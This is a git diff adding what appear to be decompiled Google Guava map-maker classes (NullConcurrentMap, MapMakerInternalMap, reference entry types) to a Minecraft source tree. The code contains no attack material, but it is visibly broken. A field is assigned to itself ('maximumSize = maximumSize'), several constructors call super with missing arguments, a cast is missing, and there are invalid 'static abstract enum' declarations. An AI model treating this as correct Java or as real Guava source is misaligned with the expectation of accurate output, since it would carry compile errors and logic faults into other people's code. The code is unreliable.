+      return cause.wasEvicted();
+    }
+  }
+  
+
+
+
+
+
+
+  static abstract enum RemovalCause
+  {
+    EXPLICIT, 
+    
+
+
+
+
+
+
+
+
+
+
+
+    REPLACED, 
+    
+
+
+
+
+
+
+
+
+
+    COLLECTED, 
+    
+
+
+
+
+
+
+
+
+
+    EXPIRED, 
+    
+
+
+
+
+
+
+
+
+
+    SIZE;
+    
+
+    private RemovalCause() {}
+    
+
+    abstract boolean wasEvicted();
+  }
+  
+
+  static class NullConcurrentMap<K, V>
+    extends AbstractMap<K, V>
+    implements ConcurrentMap<K, V>, Serializable
+  {
+    private static final long serialVersionUID = 0L;
+    
+    private final MapMaker.RemovalListener<K, V> removalListener;
+    
+    private final MapMaker.RemovalCause removalCause;
+    
+
+    NullConcurrentMap(MapMaker mapMaker)
+    {
+      removalListener = mapMaker.getRemovalListener();
+      removalCause = nullRemovalCause;
+    }
+    
+
+
+    public boolean containsKey(@Nullable Object key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(@Nullable Object value)
+    {
+      return false;
+    }
+    
+    public V get(@Nullable Object key)
+    {
+      return null;
+    }
+    
+    void notifyRemoval(K key, V value) {
+      MapMaker.RemovalNotification<K, V> notification = new MapMaker.RemovalNotification(key, value, removalCause);
+      
+      removalListener.onRemoval(notification);
+    }
+    
+    public V put(K key, V value)
+    {
+      Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(value);
+      notifyRemoval(key, value);
+      return null;
+    }
+    
+    public V putIfAbsent(K key, V value)
+    {
+      return put(key, value);
+    }
+    
+    public V remove(@Nullable Object key)
+    {
+      return null;
+    }
+    
+    public boolean remove(@Nullable Object key, @Nullable Object value)
+    {
+      return false;
+    }
+    
+    public V replace(K key, V value)
+    {
+      Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(value);
+      return null;
+    }
+    
+    public boolean replace(K key, @Nullable V oldValue, V newValue)
+    {
+      Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(newValue);
+      return false;
+    }
+    
+    public Set<Map.Entry<K, V>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+  static final class NullComputingConcurrentMap<K, V>
+    extends MapMaker.NullConcurrentMap<K, V>
+  {
+    private static final long serialVersionUID = 0L;
+    final Function<? super K, ? extends V> computingFunction;
+    
+    NullComputingConcurrentMap(MapMaker mapMaker, Function<? super K, ? extends V> computingFunction)
+    {
+      super();
+      this.computingFunction = ((Function)Preconditions.checkNotNull(computingFunction));
+    }
+    
+
+    public V get(Object k)
+    {
+      K key = k;
+      V value = compute(key);
+      Preconditions.checkNotNull(value, "%s returned null for key %s.", new Object[] { computingFunction, key });
+      notifyRemoval(key, value);
+      return value;
+    }
+    
+    private V compute(K key) {
+      Preconditions.checkNotNull(key);
+      try {
+        return computingFunction.apply(key);
+      } catch (ComputationException e) {
+        throw e;
+      } catch (Throwable t) {
+        throw new ComputationException(t);
+      }
+    }
+  }
+  
+
+
+
+  static final class ComputingMapAdapter<K, V>
+    extends ComputingConcurrentHashMap<K, V>
+    implements Serializable
+  {
+    private static final long serialVersionUID = 0L;
+    
+
+
+
+    ComputingMapAdapter(MapMaker mapMaker, Function<? super K, ? extends V> computingFunction)
+    {
+      super(computingFunction);
+    }
+    
+    public V get(Object key)
+    {
+      V value;
+      try
+      {
+        value = getOrCompute(key);
+      } catch (ExecutionException e) {
+        Throwable cause = e.getCause();
+        Throwables.propagateIfInstanceOf(cause, ComputationException.class);
+        throw new ComputationException(cause);
+      }
+      
+      if (value == null) {
+        throw new NullPointerException(computingFunction + " returned null for key " + key + ".");
+      }
+      return value;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MapMakerInternalMap.java b/src/minecraft/com/google/common/collect/MapMakerInternalMap.java
new file mode 100644
index 0000000..3ab0e1d
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MapMakerInternalMap.java
@@ -0,0 +1,4018 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Ticker;
+import com.google.common.primitives.Ints;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.SoftReference;
+import java.lang.ref.WeakReference;
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.AbstractQueue;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MapMakerInternalMap<K, V>
+  extends AbstractMap<K, V>
+  implements ConcurrentMap<K, V>, Serializable
+{
+  static final int MAXIMUM_CAPACITY = 1073741824;
+  static final int MAX_SEGMENTS = 65536;
+  static final int CONTAINS_VALUE_RETRIES = 3;
+  static final int DRAIN_THRESHOLD = 63;
+  static final int DRAIN_MAX = 16;
+  static final long CLEANUP_EXECUTOR_DELAY_SECS = 60L;
+  private static final Logger logger = Logger.getLogger(MapMakerInternalMap.class.getName());
+  
+
+
+  final transient int segmentMask;
+  
+
+
+  final transient int segmentShift;
+  
+
+
+  final transient Segment<K, V>[] segments;
+  
+
+
+  final int concurrencyLevel;
+  
+
+
+  final Equivalence<Object> keyEquivalence;
+  
+
+
+  final Equivalence<Object> valueEquivalence;
+  
+
+
+  final Strength keyStrength;
+  
+
+
+  final Strength valueStrength;
+  
+
+
+  final int maximumSize;
+  
+
+
+  final long expireAfterAccessNanos;
+  
+
+  final long expireAfterWriteNanos;
+  
+
+  final Queue<MapMaker.RemovalNotification<K, V>> removalNotificationQueue;
+  
+
+  final MapMaker.RemovalListener<K, V> removalListener;
+  
+
+  final transient EntryFactory entryFactory;
+  
+
+  final Ticker ticker;
+  
+
+
+  MapMakerInternalMap(MapMaker builder)
+  {
+    concurrencyLevel = Math.min(builder.getConcurrencyLevel(), 65536);
+    
+    keyStrength = builder.getKeyStrength();
+    valueStrength = builder.getValueStrength();
+    
+    keyEquivalence = builder.getKeyEquivalence();
+    valueEquivalence = valueStrength.defaultEquivalence();
+    
+    maximumSize = maximumSize;
+    expireAfterAccessNanos = builder.getExpireAfterAccessNanos();
+    expireAfterWriteNanos = builder.getExpireAfterWriteNanos();
+    
+    entryFactory = EntryFactory.getFactory(keyStrength, expires(), evictsBySize());
+    ticker = builder.getTicker();
+    
+    removalListener = builder.getRemovalListener();
+    removalNotificationQueue = (removalListener == GenericMapMaker.NullListener.INSTANCE ? discardingQueue() : new ConcurrentLinkedQueue());
+    
+
+
+    int initialCapacity = Math.min(builder.getInitialCapacity(), 1073741824);
+    if (evictsBySize()) {
+      initialCapacity = Math.min(initialCapacity, maximumSize);
+    }
+    
+
+
+
+    int segmentShift = 0;
+    int segmentCount = 1;
+    
+    while ((segmentCount < concurrencyLevel) && ((!evictsBySize()) || (segmentCount * 2 <= maximumSize))) {
+      segmentShift++;
+      segmentCount <<= 1;
+    }
+    this.segmentShift = (32 - segmentShift);
+    segmentMask = (segmentCount - 1);
+    
+    segments = newSegmentArray(segmentCount);
+    
+    int segmentCapacity = initialCapacity / segmentCount;
+    if (segmentCapacity * segmentCount < initialCapacity) {
+      segmentCapacity++;
+    }
+    
+    int segmentSize = 1;
+    while (segmentSize < segmentCapacity) {
+      segmentSize <<= 1;
+    }
+    
+    if (evictsBySize())
+    {
+      int maximumSegmentSize = maximumSize / segmentCount + 1;
+      int remainder = maximumSize % segmentCount;
+      for (int i = 0; i < segments.length; i++) {
+        if (i == remainder) {
+          maximumSegmentSize--;
+        }
+        segments[i] = createSegment(segmentSize, maximumSegmentSize);
+      }
+    }
+    else {
+      for (int i = 0; i < segments.length; i++) {
+        segments[i] = createSegment(segmentSize, -1);
+      }
+    }
+  }
+  
+  boolean evictsBySize()
+  {
+    return maximumSize != -1;
+  }
+  
+  boolean expires() {
+    return (expiresAfterWrite()) || (expiresAfterAccess());
+  }
+  
+  boolean expiresAfterWrite() {
+    return expireAfterWriteNanos > 0L;
+  }
+  
+  boolean expiresAfterAccess() {
+    return expireAfterAccessNanos > 0L;
+  }
+  
+  boolean usesKeyReferences() {
+    return keyStrength != Strength.STRONG;
+  }
+  
+  boolean usesValueReferences() {
+    return valueStrength != Strength.STRONG;
+  }
+  
+
+
+
+
+  static abstract enum Strength
+  {
+    STRONG, 
+    
+
+
+
+
+
+
+
+
+
+
+
+    SOFT, 
+    
+
+
+
+
+
+
+
+
+
+
+
+    WEAK;
+    
+
+
+
+
+
+    private Strength() {}
+    
+
+
+
+
+
+    abstract <K, V> MapMakerInternalMap.ValueReference<K, V> referenceValue(MapMakerInternalMap.Segment<K, V> paramSegment, MapMakerInternalMap.ReferenceEntry<K, V> paramReferenceEntry, V paramV);
+    
+
+
+
+
+
+    abstract Equivalence<Object> defaultEquivalence();
+  }
+  
+
+
+
+
+
+  static abstract enum EntryFactory
+  {
+    STRONG, 
+    
+
+
+
+
+
+    STRONG_EXPIRABLE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    STRONG_EVICTABLE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    STRONG_EXPIRABLE_EVICTABLE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK, 
+    
+
+
+
+
+
+    WEAK_EXPIRABLE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK_EVICTABLE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK_EXPIRABLE_EVICTABLE;
+    
+
+
+
+
+
+
+
+
+    static final int EXPIRABLE_MASK = 1;
+    
+
+
+
+
+
+
+
+    static final int EVICTABLE_MASK = 2;
+    
+
+
+
+
+
+
+    static final EntryFactory[][] factories = { { STRONG, STRONG_EXPIRABLE, STRONG_EVICTABLE, STRONG_EXPIRABLE_EVICTABLE }, new EntryFactory[0], { WEAK, WEAK_EXPIRABLE, WEAK_EVICTABLE, WEAK_EXPIRABLE_EVICTABLE } };
+    
+
+    private EntryFactory() {}
+    
+
+    static EntryFactory getFactory(MapMakerInternalMap.Strength keyStrength, boolean expireAfterWrite, boolean evictsBySize)
+    {
+      int flags = (expireAfterWrite ? 1 : 0) | (evictsBySize ? 2 : 0);
+      return factories[keyStrength.ordinal()][flags];
+    }
+    
+
+
+
+
+
+
+
+
+    abstract <K, V> MapMakerInternalMap.ReferenceEntry<K, V> newEntry(MapMakerInternalMap.Segment<K, V> paramSegment, K paramK, int paramInt, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    <K, V> MapMakerInternalMap.ReferenceEntry<K, V> copyEntry(MapMakerInternalMap.Segment<K, V> segment, MapMakerInternalMap.ReferenceEntry<K, V> original, MapMakerInternalMap.ReferenceEntry<K, V> newNext)
+    {
+      return newEntry(segment, original.getKey(), original.getHash(), newNext);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    <K, V> void copyExpirableEntry(MapMakerInternalMap.ReferenceEntry<K, V> original, MapMakerInternalMap.ReferenceEntry<K, V> newEntry)
+    {
+      newEntry.setExpirationTime(original.getExpirationTime());
+      
+      MapMakerInternalMap.connectExpirables(original.getPreviousExpirable(), newEntry);
+      MapMakerInternalMap.connectExpirables(newEntry, original.getNextExpirable());
+      
+      MapMakerInternalMap.nullifyExpirable(original);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    <K, V> void copyEvictableEntry(MapMakerInternalMap.ReferenceEntry<K, V> original, MapMakerInternalMap.ReferenceEntry<K, V> newEntry)
+    {
+      MapMakerInternalMap.connectEvictables(original.getPreviousEvictable(), newEntry);
+      MapMakerInternalMap.connectEvictables(newEntry, original.getNextEvictable());
+      
+      MapMakerInternalMap.nullifyEvictable(original);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final ValueReference<Object, Object> UNSET = new ValueReference()
+  {
+    public Object get() {
+      return null;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getEntry()
+    {
+      return null;
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<Object, Object> copyFor(ReferenceQueue<Object> queue, @Nullable Object value, MapMakerInternalMap.ReferenceEntry<Object, Object> entry)
+    {
+      return this;
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public Object waitForValue()
+    {
+      return null;
+    }
+    
+
+
+    public void clear(MapMakerInternalMap.ValueReference<Object, Object> newValue) {}
+  };
+  
+
+
+  static <K, V> ValueReference<K, V> unset()
+  {
+    return UNSET;
+  }
+  
+
+
+
+  static abstract interface ValueReference<K, V>
+  {
+    public abstract V get();
+    
+
+
+
+    public abstract V waitForValue()
+      throws ExecutionException;
+    
+
+
+
+    public abstract MapMakerInternalMap.ReferenceEntry<K, V> getEntry();
+    
+
+
+
+    public abstract ValueReference<K, V> copyFor(ReferenceQueue<V> paramReferenceQueue, @Nullable V paramV, MapMakerInternalMap.ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+
+    public abstract void clear(@Nullable ValueReference<K, V> paramValueReference);
+    
+
+
+
+    public abstract boolean isComputingReference();
+  }
+  
+
+
+
+  static abstract interface ReferenceEntry<K, V>
+  {
+    public abstract MapMakerInternalMap.ValueReference<K, V> getValueReference();
+    
+
+
+    public abstract void setValueReference(MapMakerInternalMap.ValueReference<K, V> paramValueReference);
+    
+
+
+    public abstract ReferenceEntry<K, V> getNext();
+    
+
+
+    public abstract int getHash();
+    
+
+
+    public abstract K getKey();
+    
+
+
+    public abstract long getExpirationTime();
+    
+
+
+    public abstract void setExpirationTime(long paramLong);
+    
+
+
+    public abstract ReferenceEntry<K, V> getNextExpirable();
+    
+
+
+    public abstract void setNextExpirable(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract ReferenceEntry<K, V> getPreviousExpirable();
+    
+
+
+    public abstract void setPreviousExpirable(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract ReferenceEntry<K, V> getNextEvictable();
+    
+
+
+    public abstract void setNextEvictable(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract ReferenceEntry<K, V> getPreviousEvictable();
+    
+
+
+    public abstract void setPreviousEvictable(ReferenceEntry<K, V> paramReferenceEntry);
+  }
+  
+
+
+  private static enum NullEntry
+    implements MapMakerInternalMap.ReferenceEntry<Object, Object>
+  {
+    INSTANCE;
+    
+    private NullEntry() {}
+    
+    public MapMakerInternalMap.ValueReference<Object, Object> getValueReference() { return null; }
+    
+
+    public void setValueReference(MapMakerInternalMap.ValueReference<Object, Object> valueReference) {}
+    
+
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getNext()
+    {
+      return null;
+    }
+    
+    public int getHash()
+    {
+      return 0;
+    }
+    
+    public Object getKey()
+    {
+      return null;
+    }
+    
+    public long getExpirationTime()
+    {
+      return 0L;
+    }
+    
+
+    public void setExpirationTime(long time) {}
+    
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getNextExpirable()
+    {
+      return this;
+    }
+    
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<Object, Object> next) {}
+    
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getPreviousExpirable()
+    {
+      return this;
+    }
+    
+
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<Object, Object> previous) {}
+    
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getNextEvictable()
+    {
+      return this;
+    }
+    
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<Object, Object> next) {}
+    
+    public MapMakerInternalMap.ReferenceEntry<Object, Object> getPreviousEvictable()
+    {
+      return this;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<Object, Object> previous) {}
+  }
+  
+  static abstract class AbstractReferenceEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V> {
+    AbstractReferenceEntry() {}
+    
+    public MapMakerInternalMap.ValueReference<K, V> getValueReference() {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setValueReference(MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNext()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int getHash()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public K getKey()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public long getExpirationTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setExpirationTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  static <K, V> ReferenceEntry<K, V> nullEntry()
+  {
+    return NullEntry.INSTANCE;
+  }
+  
+  static final Queue<? extends Object> DISCARDING_QUEUE = new AbstractQueue()
+  {
+    public boolean offer(Object o) {
+      return true;
+    }
+    
+    public Object peek()
+    {
+      return null;
+    }
+    
+    public Object poll()
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public Iterator<Object> iterator()
+    {
+      return Iterators.emptyIterator();
+    }
+  };
+  transient Set<K> keySet;
+  transient Collection<V> values;
+  transient Set<Map.Entry<K, V>> entrySet;
+  private static final long serialVersionUID = 5L;
+  
+  static <E> Queue<E> discardingQueue() {
+    return DISCARDING_QUEUE;
+  }
+  
+
+
+  static class StrongEntry<K, V>
+    implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    final K key;
+    
+
+    final int hash;
+    
+    final MapMakerInternalMap.ReferenceEntry<K, V> next;
+    
+
+    StrongEntry(K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      this.key = key;
+      this.hash = hash;
+      this.next = next;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+
+
+    public long getExpirationTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setExpirationTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+    volatile MapMakerInternalMap.ValueReference<K, V> valueReference = MapMakerInternalMap.unset();
+    
+    public MapMakerInternalMap.ValueReference<K, V> getValueReference()
+    {
+      return valueReference;
+    }
+    
+    public void setValueReference(MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      MapMakerInternalMap.ValueReference<K, V> previous = this.valueReference;
+      this.valueReference = valueReference;
+      previous.clear(valueReference);
+    }
+    
+    public int getHash()
+    {
+      return hash;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNext()
+    {
+      return next;
+    }
+  }
+  
+  static final class StrongExpirableEntry<K, V> extends MapMakerInternalMap.StrongEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    StrongExpirableEntry(K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+  }
+  
+  static final class StrongEvictableEntry<K, V> extends MapMakerInternalMap.StrongEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    StrongEvictableEntry(K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static final class StrongExpirableEvictableEntry<K, V> extends MapMakerInternalMap.StrongEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    StrongExpirableEvictableEntry(K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static class SoftEntry<K, V> extends SoftReference<K> implements MapMakerInternalMap.ReferenceEntry<K, V> {
+    final int hash;
+    final MapMakerInternalMap.ReferenceEntry<K, V> next;
+    
+    SoftEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      super(queue);
+      this.hash = hash;
+      this.next = next;
+    }
+    
+    public K getKey()
+    {
+      return get();
+    }
+    
+
+    public long getExpirationTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setExpirationTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+    volatile MapMakerInternalMap.ValueReference<K, V> valueReference = MapMakerInternalMap.unset();
+    
+    public MapMakerInternalMap.ValueReference<K, V> getValueReference()
+    {
+      return valueReference;
+    }
+    
+    public void setValueReference(MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      MapMakerInternalMap.ValueReference<K, V> previous = this.valueReference;
+      this.valueReference = valueReference;
+      previous.clear(valueReference);
+    }
+    
+    public int getHash()
+    {
+      return hash;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNext()
+    {
+      return next;
+    }
+  }
+  
+  static final class SoftExpirableEntry<K, V> extends MapMakerInternalMap.SoftEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    SoftExpirableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+  }
+  
